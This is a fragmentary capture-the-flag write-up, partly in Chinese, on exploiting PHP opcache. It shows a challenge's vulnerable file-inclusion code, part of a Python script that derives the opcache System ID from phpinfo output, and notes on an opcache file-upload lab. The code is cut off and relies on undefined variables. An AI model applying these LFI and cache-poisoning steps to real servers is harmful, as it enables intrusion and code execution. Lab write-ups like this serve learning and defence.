//I heard you are good at PHPINFO+LFI, flag is in flag.php, find it my dear noob vegetable hacker. if ( isset($_GET['file']) ) { $file = $_GET['file'];
if ( $file === "phpinfo" ) {
phpinfo(); exit; }
if ( preg_match('/proc/i' , $file) ) { die("private"); }
# Architecture architecture = re.search('<tr><td class="e">System </td><td class="v">(.*) </td></tr>', text) if architecture == None: print("No System info found.") exit(0) architecture = architecture.group(1).split()[-1]
# Zend Bin ID suffix if architecture == "x86_64": bin_id_suffix = "48888" else: bin_id_suffix = "44444"
# With PHP 7.4 they fixed the undefined macro that did the weird bin ID if php_greater_74: zend_bin_id = "BIN_" + bin_id_suffix else: zend_bin_id = "BIN_SIZEOF_CHAR" + bin_id_suffix
# Alternate Bin ID, see #5 if not php_greater_74: if architecture == "x86_64": alt_bin_id_suffix = "148888" else: alt_bin_id_suffix = "144444"
alt_zend_bin_id = "BIN_" + alt_bin_id_suffix
# Logging print("PHP version : " + php_version) print("Zend Extension ID : " + zend_extension_id) print("Zend Bin ID : " + zend_bin_id) print("Assuming " + architecture + " architecture")
if not php_greater_74: alt_digest = md5(php_version + zend_extension_id + alt_zend_bin_id) print("PHP lower than 7.4 detected, an alternate Bin ID is possible:") print("Alternate Zend Bin ID : " + alt_zend_bin_id) print("Alternate System ID : " + alt_digest)
得到System ID : 0b8bd94e9858e5d32d058dc0acf75014
包含flag.php.bin即可
二:opcache缓存+文件上传
靶机:lewiserii/php7-opcache-upload //关闭时间戳验证
首页是个文件上传点,可以自定义上传目录,简单测试后发现/var/www/html目录没有权限
同时给了个phpinfo.php,查看opcache状态,发现是启用状态,直接跑脚本算system id